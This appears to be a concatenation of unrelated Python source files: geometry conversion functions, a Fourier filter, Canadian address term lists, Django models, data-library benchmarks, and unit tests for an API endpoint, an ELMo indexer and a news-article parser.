T[0:3, 3] = t
R = np.eye(4)
if np.any(q):
q = np.quaternion(q[0], q[1], q[2], q[3])
R[0:3, 0:3] = quaternion.as_rotation_matrix(q)
S = np.eye(4)
S[0:3, 0:3] = np.diag(s)
M = T.dot(R).dot(S)
return M
def make_tqs_from_M(M):
R = M[0:3, 0:3].copy()
sx = np.linalg.norm(R[0:3, 0])
sy = np.linalg.norm(R[0:3, 1])
sz = np.linalg.norm(R[0:3, 2])
s = np.array([sx, sy, sz])
R[:, 0] /= sx
R[:, 1] /= sy
R[:, 2] /= sz
q = quaternion.from_rotation_matrix(R[0:3, 0:3])
t = M[0:3, 3]
return t, q, s
###########################
### Adaptive kernel theta
###########################
def get_theta(delta):
x = delta[:2].min()
coeff = [-1.74343542, 5.68385759]
return 0.1 * np.exp(coeff[0] * x + coeff[1])
###########################
### KORNIA
###########################
def angle_axis_to_rotation_matrix(angle_axis: torch.Tensor) -> torch.Tensor:
"""Convert 3d vector of axis-angle rotation to 4x4 rotation matrix
Args:
angle_axis (torch.Tensor): tensor of 3d vector of axis-angle rotations.
Returns:
torch.Tensor: tensor of 4x4 rotation matrices.
Shape:
- Input: :math:`(N, 3)`
- Output: :math:`(N, 4, 4)`
Example:
>>> input = torch.rand(1, 3) # Nx3
>>> output = kornia.angle_axis_to_rotation_matrix(input) # Nx4x4
"""
def _compute_rotation_matrix(angle_axis, theta2, eps=1e-6):
# We want to be careful to only evaluate the square root if the
# norm of the angle_axis vector is greater than zero. Otherwise
# we get a division by zero.
k_one = 1.0
theta = torch.sqrt(theta2)
wxyz = angle_axis / (theta + eps)
wx, wy, wz = torch.chunk(wxyz, 3, dim=1)
cos_theta = torch.cos(theta)
sin_theta = torch.sin(theta)
r00 = cos_theta + wx * wx * (k_one - cos_theta)
r10 = wz * sin_theta + wx * wy * (k_one - cos_theta)
r20 = -wy * sin_theta + wx * wz * (k_one - cos_theta)
r01 = wx * wy * (k_one - cos_theta) - wz * sin_theta
r11 = cos_theta + wy * wy * (k_one - cos_theta)
r21 = wx * sin_theta + wy * wz * (k_one - cos_theta)
r02 = wy * sin_theta + wx * wz * (k_one - cos_theta)
r12 = -wx * sin_theta + wy * wz * (k_one - cos_theta)
r22 = cos_theta + wz * wz * (k_one - cos_theta)
rotation_matrix = torch.cat(
[r00, r01, r02, r10, r11, r12, r20, r21, r22], dim=1)
return rotation_matrix.view(-1, 3, 3)
def _compute_rotation_matrix_taylor(angle_axis):
rx, ry, rz = torch.chunk(angle_axis, 3, dim=1)
k_one = torch.ones_like(rx)
rotation_matrix = torch.cat(
[k_one, -rz, ry, rz, k_one, -rx, -ry, rx, k_one], dim=1)
return rotation_matrix.view(-1, 3, 3)
# stolen from ceres/rotation.h
_angle_axis = torch.unsqueeze(angle_axis, dim=1)
theta2 = torch.matmul(_angle_axis, _angle_axis.transpose(1, 2))
theta2 = torch.squeeze(theta2, dim=1)
# compute rotation matrices
rotation_matrix_normal = _compute_rotation_matrix(angle_axis, theta2)
rotation_matrix_taylor = _compute_rotation_matrix_taylor(angle_axis)
# create mask to handle both cases
eps = 1e-6
mask = (theta2 > eps).view(-1, 1, 1).to(theta2.device)
mask_pos = (mask).type_as(theta2)
mask_neg = (mask == False).type_as(theta2) # noqa
# create output pose matrix
batch_size = angle_axis.shape[0]
rotation_matrix = torch.eye(4).to(angle_axis.device).type_as(angle_axis)
rotation_matrix = rotation_matrix.view(1, 4, 4).repeat(batch_size, 1, 1)
# fill output matrix with masked values
rotation_matrix[..., :3, :3] = \
mask_pos * rotation_matrix_normal + mask_neg * rotation_matrix_taylor
return rotation_matrix # Nx4x4
def rotation_matrix_to_angle_axis(
rotation_matrix: torch.Tensor) -> torch.Tensor:
"""Convert 3x4 rotation matrix to Rodrigues vector
Args:
rotation_matrix (torch.Tensor): rotation matrix.
Returns:
torch.Tensor: Rodrigues vector transformation.
Shape:
- Input: :math:`(N, 3, 4)`
- Output: :math:`(N, 3)`
Example:
>>> input = torch.rand(2, 3, 4) # Nx4x4
>>> output = kornia.rotation_matrix_to_angle_axis(input) # Nx3
"""
# todo add check that matrix is a valid rotation matrix
quaternion: torch.Tensor = rotation_matrix_to_quaternion(rotation_matrix)
return quaternion_to_angle_axis(quaternion)
def rotation_matrix_to_quaternion(
rotation_matrix: torch.Tensor) -> torch.Tensor:
"""Convert 3x4 rotation matrix to 4d quaternion vector
This algorithm is based on algorithm described in
https://github.com/KieranWynn/pyquaternion/blob/master/pyquaternion/quaternion.py#L201
Args:
rotation_matrix (torch.Tensor): the rotation matrix to convert.
Return:
torch.Tensor: the rotation in quaternion.
Shape:
- Input: :math:`(N, 3, 4)`
- Output: :math:`(N, 4)`
Example:
>>> input = torch.rand(4, 3, 4) # Nx3x4
>>> output = kornia.rotation_matrix_to_quaternion(input) # Nx4
"""
if not torch.is_tensor(rotation_matrix):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(
type(rotation_matrix)))
if len(rotation_matrix.shape) > 3:
raise ValueError(
"Input size must be a three dimensional tensor. Got {}".format(
rotation_matrix.shape))
if not rotation_matrix.shape[-2:] == (3, 4):
raise ValueError(
"Input size must be a N x 3 x 4 tensor. Got {}".format(
rotation_matrix.shape))
rmat_t = torch.transpose(rotation_matrix, 1, 2)
mask_d2 = rmat_t[:, 2, 2] < 1e-6
mask_d0_d1 = rmat_t[:, 0, 0] > rmat_t[:, 1, 1]
mask_d0_nd1 = rmat_t[:, 0, 0] < -rmat_t[:, 1, 1]
t0 = 1 + rmat_t[:, 0, 0] - rmat_t[:, 1, 1] - rmat_t[:, 2, 2]
q0 = torch.stack([
rmat_t[:, 1, 2] - rmat_t[:, 2, 1], t0,
rmat_t[:, 0, 1] + rmat_t[:, 1, 0], rmat_t[:, 2, 0] + rmat_t[:, 0, 2]
], -1)
t0_rep = t0.repeat(4, 1).t()
t1 = torch.tensor(1.) - rmat_t[:, 0, 0] + rmat_t[:, 1, 1] - rmat_t[:, 2, 2]
q1 = torch.stack([
rmat_t[:, 2, 0] - rmat_t[:, 0, 2], rmat_t[:, 0, 1] + rmat_t[:, 1, 0],
t1, rmat_t[:, 1, 2] + rmat_t[:, 2, 1]
], -1)
t1_rep = t1.repeat(4, 1).t()
t2 = torch.tensor(1.) - rmat_t[:, 0, 0] - rmat_t[:, 1, 1] + rmat_t[:, 2, 2]
q2 = torch.stack([
rmat_t[:, 0, 1] - rmat_t[:, 1, 0], rmat_t[:, 2, 0] + rmat_t[:, 0, 2],
rmat_t[:, 1, 2] + rmat_t[:, 2, 1], t2
], -1)
t2_rep = t2.repeat(4, 1).t()
t3 = torch.tensor(1.) + rmat_t[:, 0, 0] + rmat_t[:, 1, 1] + rmat_t[:, 2, 2]
q3 = torch.stack([
t3, rmat_t[:, 1, 2] - rmat_t[:, 2, 1],
rmat_t[:, 2, 0] - rmat_t[:, 0, 2], rmat_t[:, 0, 1] - rmat_t[:, 1, 0]
], -1)
t3_rep = t3.repeat(4, 1).t()
mask_c0 = mask_d2 * mask_d0_d1
mask_c1 = mask_d2 * (torch.tensor(1.) - mask_d0_d1)
mask_c2 = (torch.tensor(1.) - mask_d2) * mask_d0_nd1
mask_c3 = (torch.tensor(1.) - mask_d2) * (torch.tensor(1.) - mask_d0_nd1)
mask_c0 = mask_c0.view(-1, 1).type_as(q0)
mask_c1 = mask_c1.view(-1, 1).type_as(q1)
mask_c2 = mask_c2.view(-1, 1).type_as(q2)
mask_c3 = mask_c3.view(-1, 1).type_as(q3)
q = q0 * mask_c0 + q1 * mask_c1 + q2 * mask_c2 + q3 * mask_c3
q /= torch.sqrt(t0_rep * mask_c0 + t1_rep * mask_c1 + # noqa
t2_rep * mask_c2 + t3_rep * mask_c3) # noqa
q *= 0.5
return q
def quaternion_to_angle_axis(quaternion: torch.Tensor) -> torch.Tensor:
"""Convert quaternion vector to angle axis of rotation.
Adapted from ceres C++ library: ceres-solver/include/ceres/rotation.h
Args:
quaternion (torch.Tensor): tensor with quaternions.
Return:
torch.Tensor: tensor with angle axis of rotation.
Shape:
- Input: :math:`(*, 4)` where `*` means, any number of dimensions
- Output: :math:`(*, 3)`
Example:
>>> quaternion = torch.rand(2, 4) # Nx4
>>> angle_axis = kornia.quaternion_to_angle_axis(quaternion) # Nx3
"""
if not torch.is_tensor(quaternion):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(
type(quaternion)))
if not quaternion.shape[-1] == 4:
raise ValueError(
"Input must be a tensor of shape Nx4 or 4. Got {}".format(
quaternion.shape))
# unpack input and compute conversion
q1: torch.Tensor = quaternion[..., 1]
q2: torch.Tensor = quaternion[..., 2]
q3: torch.Tensor = quaternion[..., 3]
sin_squared_theta: torch.Tensor = q1 * q1 + q2 * q2 + q3 * q3
sin_theta: torch.Tensor = torch.sqrt(sin_squared_theta)
cos_theta: torch.Tensor = quaternion[..., 0]
two_theta: torch.Tensor = 2.0 * torch.where(
cos_theta < 0.0, torch.atan2(-sin_theta, -cos_theta),
torch.atan2(sin_theta, cos_theta))
k_pos: torch.Tensor = two_theta / sin_theta
k_neg: torch.Tensor = 2.0 * torch.ones_like(sin_theta)
k: torch.Tensor = torch.where(sin_squared_theta > 0.0, k_pos, k_neg)
angle_axis: torch.Tensor = torch.zeros_like(quaternion)[..., :3]
angle_axis[..., 0] += q1 * k
angle_axis[..., 1] += q2 * k
angle_axis[..., 2] += q3 * k
return angle_axis
# based on:
# https://github.com/facebookresearch/QuaterNet/blob/master/common/quaternion.py#L138
def angle_axis_to_quaternion(angle_axis: torch.Tensor) -> torch.Tensor:
"""Convert an angle axis to a quaternion.
Adapted from ceres C++ library: ceres-solver/include/ceres/rotation.h
Args:
angle_axis (torch.Tensor): tensor with angle axis.
Return:
torch.Tensor: tensor with quaternion.
Shape:
- Input: :math:`(*, 3)` where `*` means, any number of dimensions
- Output: :math:`(*, 4)`
Example:
>>> angle_axis = torch.rand(2, 4) # Nx4
>>> quaternion = kornia.angle_axis_to_quaternion(angle_axis) # Nx3
"""
if not torch.is_tensor(angle_axis):
raise TypeError("Input type is not a torch.Tensor. Got {}".format(
type(angle_axis)))
if not angle_axis.shape[-1] == 3:
raise ValueError(
"Input must be a tensor of shape Nx3 or 3. Got {}".format(
angle_axis.shape))
# unpack input and compute conversion
a0: torch.Tensor = angle_axis[..., 0:1]
a1: torch.Tensor = angle_axis[..., 1:2]
a2: torch.Tensor = angle_axis[..., 2:3]
theta_squared: torch.Tensor = a0 * a0 + a1 * a1 + a2 * a2
theta: torch.Tensor = torch.sqrt(theta_squared)
half_theta: torch.Tensor = theta * 0.5
mask: torch.Tensor = theta_squared > 0.0
ones: torch.Tensor = torch.ones_like(half_theta)
k_neg: torch.Tensor = 0.5 * ones
k_pos: torch.Tensor = torch.sin(half_theta) / theta
k: torch.Tensor = torch.where(mask, k_pos, k_neg)
w: torch.Tensor = torch.where(mask, torch.cos(half_theta), ones)
quaternion: torch.Tensor = torch.zeros_like(angle_axis)
quaternion[..., 0:1] += a0 * k
quaternion[..., 1:2] += a1 * k
quaternion[..., 2:3] += a2 * k
return torch.cat([w, quaternion], dim=-1)
|
from unit_test_common import execute_csv2_request, initialize_csv2_request, ut_id, sanity_requests
from sys import argv
# lno: CV - error code identifier.
def main(gvar):
if not gvar:
gvar = {}
if len(argv) > 1:
initialize_csv2_request(gvar, selections=argv[1])
else:
initialize_csv2_request(gvar)
# 01 - 05
sanity_requests(gvar, '/cloud/metadata-query/', ut_id(gvar, 'ctg1'), ut_id(gvar, 'ctu1'), ut_id(gvar, 'ctg2'), ut_id(gvar, 'ctu2'))
# 06 Omit all parameters.
execute_csv2_request(
gvar, 1, None, 'cloud metadata_query, request did not contain mandatory parameter "cloud_name".',
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'),
server_user=ut_id(gvar, 'ctu1')
)
# 07 Omit cloud_name.
execute_csv2_request(
gvar, 1, None, 'cloud metadata_query, request did not contain mandatory parameter "cloud_name".',
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'metadata_name': 'invalid-unit-test'},
server_user=ut_id(gvar, 'ctu1')
)
# 08 Give empty cloud_name.
execute_csv2_request(
gvar, 1, None, 'cloud metadata_query, value specified for "cloud_name" must not be the empty string.',
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'cloud_name': '', 'metadata_name': 'invalid-unit-test'},
server_user=ut_id(gvar, 'ctu1')
)
# 09 Omit metadata_name.
execute_csv2_request(
gvar, 1, None, 'cloud metadata_query, request did not contain mandatory parameter "metadata_name".',
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'cloud_name': 'invalid-unit-test'},
server_user=ut_id(gvar, 'ctu1')
)
# 10 Give empty metadata_name.
execute_csv2_request(
gvar, 1, None, 'cloud metadata_query, value specified for "metadata_name" must not be the empty string.',
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'cloud_name': 'invalid-unit-test', 'metadata_name': ''},
server_user=ut_id(gvar, 'ctu1')
)
# 11 Give a cloud_name / metadata_name combination that does not exist.
execute_csv2_request(
gvar, 0, None, None,
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'cloud_name': 'invalid-unit-test', 'metadata_name': 'invalid-unit-test'},
server_user=ut_id(gvar, 'ctu1')
)
# 12
execute_csv2_request(
gvar, 0, None, None,
'/cloud/metadata-query/', group=ut_id(gvar, 'ctg1'), query_data={'cloud_name': ut_id(gvar, 'ctc2'), 'metadata_name': ut_id(gvar, 'cty1')},
server_user=ut_id(gvar, 'ctu1')
)
if __name__ == "__main__":
main(None)
|
import config
from hyperband import Hyperband
from model import get_base_model
from utils import prepare_dirs, save_results
def main(args):
# ensure directories are setup
dirs = [args.data_dir, args.ckpt_dir]
prepare_dirs(dirs)
# create base model
model = get_base_model()
# define params
params = {
# '0_dropout': ['uniform', 0.1, 0.5],
# '0_act': ['choice', ['relu', 'selu', 'elu', 'tanh', 'sigmoid']],
# '0_l2': ['log_uniform', 1e-1, 2],
# '2_act': ['choice', ['selu', 'elu', 'tanh', 'sigmoid']],
# '2_l1': ['log_uniform', 1e-1, 2],
# '2_hidden': ['quniform', 512, 1000, 1],
# '4_hidden': ['quniform', 128, 512, 1],
# 'all_act': ['choice', [[0], ['choice', ['selu', 'elu', 'tanh']]]],
'all_dropout': ['choice', [[0], ['uniform', 0.1, 0.5]]],
# 'all_batchnorm': ['choice', [0, 1]],
'all_l2': ['uniform', 1e-8, 1e-5],
'optim': ['choice', ["adam"]],
'lr': ['uniform', 1e-3, 8e-3],
'batch_size': ['quniform', 32, 128, 1]
}
# instantiate hyperband object
hyperband = Hyperband(args, model, params)
# tune
results = hyperband.tune()
# dump results
save_results(results)
if __name__ == '__main__':
args, unparsed = config.get_args()
print(args)
main(args)
|
import numpy as np
class SimpleFourierFilter(object):
"""
Class to apply simple Fourier Filtration to a vector
Filter types:
'fraction' (requires kwarg: 'fraction' to be set)
'rule 36' (can set kwarg: 'power' but not necessary)
"""
def __init__(self, modes, filter_type, **kwargs):
self.n = modes.shape[0]
self.modes = modes
self.filter_type = filter_type
self._get_filter(**kwargs)
def __call__(self, fin, input_type='space', output_type='space'):
input_is_real = fin.dtype == float and input_type == 'space'
if input_type=='space':
fin = np.fft.fft(fin)
fout = fin*self.filter
if output_type == 'space':
fout = np.fft.ifft(fout)
if input_is_real:
fout = fout.real
return fout
def _get_filter(self, **kwargs):
if self.filter_type == 'fraction':
max_k = np.abs(self.modes).max()
self.filter = np.ones(self.n, dtype=float)
self.filter[np.abs(self.modes) > max_k*kwargs['fraction']] = 0.0
elif self.filter_type == 'rule 36':
max_k = np.abs(self.modes).max()
if 'power' in kwargs:
power36 = kwargs['power']
else:
power36 = 36
self.filter = np.exp(-power36*(np.abs(self.modes)/max_k)**power36)
else:
raise Exception('Filter type not defined.')
|
# See https://www.canadapost.ca/tools/pg/manual/PGaddress-e.asp?ecid=murl10006450#1441964
street_types = [
"abbey",
"acres",
"alley",
"allée",
"aut",
"autoroute",
"av",
"ave",
"avenue",
"bay",
"beach",
"bend",
"blvd",
"boul",
"boulevard",
"by-pass",
"bypass",
"byway",
"c",
"campus",
"cape",
"car",
"carref",
"carrefour",
"carré",
"cds",
"centre",
"cercle",
"ch",
"chase",
"chemin",
"cir",
"circle",
"circt",
"circuit",
"close",
"common",
"conc",
"concession",
"corners",
"cour",
"cours",
"court",
"cove",
"cres",
"crescent",
"crnrs",
"crois",
"croissant",
"cross",
"crossing",
"crt",
"ctr",
"cul-de-sac",
"côte",
"dale",
"dell",
"divers",
"diversion",
"downs",
"dr",
"drive",
"end",
"espl",
"esplanade",
"estate",
"estates",
"expressway",
"expy",
"exten",
"extension",
"farm",
"field",
"forest",
"freeway",
"front",
"fwy",
"gardens",
"gate",
"gdns",
"glade",
"glen",
"green",
"grnds",
"grounds",
"grove",
"harbour",
"harbr",
"heath",
"heights",
"hghlds",
"highlands",
"highway",
"hill",
"hollow",
"hts",
"hwy",
"imp",
"impasse",
"inlet",
"island",
"key",
"knoll",
"landing",
"landng",
"lane",
"limits",
"line",
"link",
"lkout",
"lmts",
"lookout",
"loop",
"mall",
"manor",
"maze",
"meadow",
"mews",
"montée",
"moor",
"mount",
"mountain",
"mtn",
"orch",
"orchard",
"parade",
"parc",
"park",
"parkway",
"pass",
"passage",
"path",
"pathway",
"pines",
"pk",
"pky",
"pl",
"place",
"plat",
"plateau",
"plaza",
"point",
"pointe",
"port",
"private",
"prom",
"promenade",
"pt",
"ptway",
"pvt",
"quai",
"quay",
"ramp",
"rang",
"range",
"rd",
"rdpt",
"rg",
"ridge",
"rise",
"rle",
"road",
"rond-point",
"route",
"row",
"rte",
"rue",
"ruelle",
"run",
"sent",
"sentier",
"sq",
"square",
"st",
"street",
"subdiv",
"subdivision",
"terr",
"terrace",
"terrasse",
"thick",
"thicket",
"tline",
"towers",
"townline",
"trail",
"trnabt",
"tsse",
"turnabout",
"vale",
"via",
"view",
"village",
"villas",
"villge",
"vista",
"voie",
"walk",
"way",
"wharf",
"wood",
"wynd",
"éch",
"échangeur",
"île",
]
# See https://www.canadapost.ca/tools/pg/manual/PGaddress-e.asp?ecid=murl10006450#1442083
unit_designators = [
"apartment",
"app",
"appartement",
"apt",
"bureau",
"suite",
"unit",
"unité",
]
# See https://www.canadapost.ca/tools/pg/manual/PGaddress-e.asp?ecid=murl10006450#1441995
direction_terms = [
"e",
"east",
"est",
"n",
"ne",
"no",
"nord",
"north",
"northeast",
"northwest",
"nw",
"o",
"ouest",
"s",
"se",
"so",
"south",
"southeast",
"southwest",
"sud",
"sw",
"w",
"west",
]
|
class Colours:
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
MID_GREEN = (45, 173, 31)
|
# Purpose: Exceptions
class VeracodeError(Exception):
"""Raised when something goes wrong"""
pass
class VeracodeAPIError(Exception):
"""Raised when something goes wrong with talking to the Veracode API"""
pass
|
import numpy as np
import os
import pandas as pd
import shutil
import sys
import tempfile
import time
from contextlib import contextmanager
from fastparquet import write, ParquetFile
from fastparquet.util import join_path
@contextmanager
def measure(name, result):
t0 = time.time()
yield
t1 = time.time()
result[name] = round((t1 - t0) * 1000, 3)
def time_column():
with tmpdir() as tempdir:
result = {}
fn = join_path(tempdir, 'temp.parq')
n = 10000000
r = np.random.randint(-1e10, 1e10, n, dtype='int64')
d = pd.DataFrame({'w': pd.Categorical(np.random.choice(
['hi', 'you', 'people'], size=n)),
'x': r.view('timedelta64[ns]'),
'y': r / np.random.randint(1, 1000, size=n),
'z': np.random.randint(0, 127, size=n,
dtype=np.uint8)})
d['b'] = r > 0
for col in d.columns:
df = d[[col]]
write(fn, df)
with measure('%s: write, no nulls' % d.dtypes[col], result):
write(fn, df, has_nulls=False)
pf = ParquetFile(fn)
pf.to_pandas() # warm-up
with measure('%s: read, no nulls' % d.dtypes[col], result):
pf.to_pandas()
with measure('%s: write, no nulls, has_null=True' % d.dtypes[col], result):
write(fn, df, has_nulls=True)
pf = ParquetFile(fn)
pf.to_pandas() # warm-up
with measure('%s: read, no nulls, has_null=True' % d.dtypes[col], result):
pf.to_pandas()
if d.dtypes[col].kind == 'm':
d.loc[n//2, col] = pd.to_datetime('NaT')
elif d.dtypes[col].kind == 'f':
d.loc[n//2, col] = np.nan
elif d.dtypes[col].kind in ['i', 'u']:
continue
else:
d.loc[n//2, col] = None
with measure('%s: write, with null, has_null=True' % d.dtypes[col], result):
write(fn, df, has_nulls=True)
pf = ParquetFile(fn)
pf.to_pandas() # warm-up
with measure('%s: read, with null, has_null=True' % d.dtypes[col], result):
pf.to_pandas()
with measure('%s: write, with null, has_null=False' % d.dtypes[col], result):
write(fn, df, has_nulls=False)
pf = ParquetFile(fn)
pf.to_pandas() # warm-up
with measure('%s: read, with null, has_null=False' % d.dtypes[col], result):
pf.to_pandas()
return result
def time_text():
with tmpdir() as tempdir:
result = {}
fn = join_path(tempdir, 'temp.parq')
n = 1000000
d = pd.DataFrame({
'a': np.random.choice(['hi', 'you', 'people'], size=n),
'b': np.random.choice([b'hi', b'you', b'people'], size=n)})
for col in d.columns:
for fixed in [None, 6]:
df = d[[col]]
if isinstance(df.iloc[0, 0], bytes):
t = "bytes"
else:
t = 'utf8'
write(fn, df)
with measure('%s: write, fixed: %s' % (t, fixed), result):
write(fn, df, has_nulls=False, write_index=False,
fixed_text={col: fixed}, object_encoding=t)
pf = ParquetFile(fn)
pf.to_pandas() # warm-up
with measure('%s: read, fixed: %s' % (t, fixed), result):
pf.to_pandas()
return result
def time_find_nulls(N=10000000):
x = np.random.random(N)
df = pd.DataFrame({'x': x})
result = {}
run_find_nulls(df, result)
df.loc[N//2, 'x'] = np.nan
run_find_nulls(df, result)
df.loc[:, 'x'] = np.nan
df.loc[N//2, 'x'] = np.random.random()
run_find_nulls(df, result)
df.loc[N//2, 'x'] = np.nan
run_find_nulls(df, result)
x = np.random.randint(0, 2**30, N)
df = pd.DataFrame({'x': x})
run_find_nulls(df, result)
df = pd.DataFrame({'x': x.view('datetime64[s]')})
run_find_nulls(df, result)
v = df.loc[N//2, 'x']
df.loc[N//2, 'x'] = pd.to_datetime('NaT')
run_find_nulls(df, result)
df.loc[:, 'x'] = pd.to_datetime('NaT')
df.loc[N//2, 'x'] = v
run_find_nulls(df, result)
df.loc[:, 'x'] = pd.to_datetime('NaT')
run_find_nulls(df, result)
return df.groupby(('type', 'nvalid', 'op')).sum()
def run_find_nulls(df, res):
nvalid = (df.x == df.x).sum()
with measure((df.x.dtype.kind, nvalid, 'notnull'), res):
df.x.notnull()
with measure((df.x.dtype.kind, nvalid, 'notnull,sum'), res):
df.x.notnull().sum()
with measure((df.x.dtype.kind, nvalid, 'notnull,any'), res):
df.x.notnull().any()
with measure((df.x.dtype.kind, nvalid, 'notnull,all'), res):
df.x.notnull().all()
with measure((df.x.dtype.kind, nvalid, 'count'), res):
df.x.count()
# from https://github.com/dask/dask/blob/6cbcf0813af48597a427a1fe6c71cce2a79086b0/dask/utils.py#L78
@contextmanager
def ignoring(*exceptions):
try:
yield
except exceptions:
pass
# from https://github.com/dask/dask/blob/6cbcf0813af48597a427a1fe6c71cce2a79086b0/dask/utils.py#L116
@contextmanager
def tmpdir(dir=None):
dirname = tempfile.mkdtemp(dir=dir)
try:
yield dirname
finally:
if os.path.exists(dirname):
if os.path.isdir(dirname):
with ignoring(OSError):
shutil.rmtree(dirname)
else:
with ignoring(OSError):
os.remove(dirname)
if __name__ == '__main__':
result = {}
print("sys.version = " + sys.version)
print("sys.platform = " + sys.platform)
for f in [time_column, time_text]:
result.update(f())
for k in sorted(result):
print(k, result[k])
|
from django.apps import AppConfig
class CallcontrolConfig(AppConfig):
name = 'callcontrol'
|
from django.db import models
# Create your models here.
from django.db import models
class Tweet(models.Model):
text = models.CharField(max_length=140)
author_email = models.CharField(max_length=200)
created_at = models.DateTimeField(auto_now_add=True)
published_at = models.DateTimeField(null=True)
STATE_CHOICES = (
('pending', 'pending'),
('published', 'published'),
('rejected', 'rejected')
)
state = models.CharField(max_length=15, choices=STATE_CHOICES)
def __unicode__(self):
return self.text
class Meta:
permissions = (
("can_approve_or_reject_tweets",
"Can approve or reject tweets"),
)
class Comment(models.Model):
tweet = models.ForeignKey(Tweet, on_delete=models.CASCADE)
text = models.CharField(max_length=300)
created_at = models.DateTimeField(auto_now_add=True)
def __unicode__(self):
return self.text |
# Generated by Django 3.1.2 on 2021-03-20 07:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('cart', '0028_orderbeta_created_at'),
]
operations = [
migrations.AddField(
model_name='orderbeta',
name='status',
field=models.CharField(choices=[('K', 'waiting'), ('J', 'send'), ('Y', 'finished')], max_length=255, null=True),
),
]
|
# pylint: disable=no-self-use
from allennlp.common.testing import AllenNlpTestCase
from allennlp.data import Token, Vocabulary
from allennlp.data.token_indexers import ELMoTokenCharactersIndexer
class TestELMoTokenCharactersIndexer(AllenNlpTestCase):
def test_bos_to_char_ids(self):
indexer = ELMoTokenCharactersIndexer()
indices = indexer.tokens_to_indices([Token('<S>')], Vocabulary(), "test-elmo")
expected_indices = [259, 257, 260, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261]
assert indices == {"test-elmo": [expected_indices]}
def test_eos_to_char_ids(self):
indexer = ELMoTokenCharactersIndexer()
indices = indexer.tokens_to_indices([Token('</S>')], Vocabulary(), "test-eos")
expected_indices = [259, 258, 260, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261]
assert indices == {"test-eos": [expected_indices]}
def test_unicode_to_char_ids(self):
indexer = ELMoTokenCharactersIndexer()
indices = indexer.tokens_to_indices([Token(chr(256) + 't')], Vocabulary(), "test-unicode")
expected_indices = [259, 197, 129, 117, 260, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261]
assert indices == {"test-unicode": [expected_indices]}
def test_elmo_as_array_produces_token_sequence(self): # pylint: disable=invalid-name
indexer = ELMoTokenCharactersIndexer()
tokens = [Token('Second'), Token('.')]
indices = indexer.tokens_to_indices(tokens, Vocabulary(), "test-elmo")["test-elmo"]
padded_tokens = indexer.pad_token_sequence({'test-elmo': indices},
desired_num_tokens={'test-elmo': 3},
padding_lengths={})
expected_padded_tokens = [[259, 84, 102, 100, 112, 111, 101, 260, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261],
[259, 47, 260, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261, 261, 261, 261, 261,
261, 261, 261, 261, 261],
[0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0]]
assert padded_tokens['test-elmo'] == expected_padded_tokens
|
import pytest
import os
import json
from elasticsearch import Elasticsearch
from ...wapo.parser import ParserWAPO
class TestParserNetzpolitik():
@classmethod
def setup_class(self):
self.es = Elasticsearch()
self.parser = ParserWAPO(self.es)
self.index = "wapo_clean"
file_location = f"{os.path.abspath(os.path.join(__file__, os.pardir, os.pardir, os.pardir))}/data/test_articles_raw.jsonl"
self.articles = []
with open(file_location, "r", encoding="utf-8") as f:
for line in f:
self.articles.append(json.loads(line))
def test_get_keywords_tf_idf(self):
raw = self.articles[0]
parsed = self.parser.parse_article(raw)
expected_k = ["ahead", "commut", "region", "avenu", "beltwai", "bridg", "congest", "connector", "driver", "entranc", "fare", "intercounti", "lane", "line", "mainten", "metro", "new", "open", "project", "rider", "road", "rout", "schedul", "station", "telegraph", "train", "transport", "travel"]
actual_k = self.parser.get_keywords_tf_idf(self.index, raw["id"])
intersection = list(set(expected_k) & set(actual_k))
assert len(intersection) == len(expected_k)
def test_get_keywords_tf_idf_denormalized(self):
raw = self.articles[0]
parsed = self.parser.parse_article(raw)
expected_k = ['ahead', 'region', 'commuters', 'transportation', 'projects', 'scheduled', 'lanes', 'Beltway', 'open', 'Travelers', 'Road', 'drivers', 'new', 'Intercounty', 'Connector', 'congestion', 'routes', 'Telegraph', 'Bridge', 'Metro', 'riders', 'trains', 'Line', 'maintenance', 'stations', 'entrance', 'fare', 'Avenue']
actual_k = self.parser.get_keywords_tf_idf_denormalized(self.index, raw["id"], self.parser.get_title(parsed), parsed["text"])
intersection = list(set(expected_k) & set(actual_k))
assert len(actual_k) == 28
assert "".join(expected_k) == "".join(actual_k)
def test_parse_article_2012(self):
raw = self.articles[0]
parsed = self.parser.parse_article(raw)
expected_title = "The year ahead for D.C. region’s commuters"
assert self.parser.get_title(parsed) == expected_title
expected_sections = [
"HOT lanes",
"Intercounty Connector",
"Beltway/Telegraph Road",
"Federal base realignment",
"11th Street Bridge",
"Metro map makeover",
"Metro maintenance",
"Metro fare increase?",
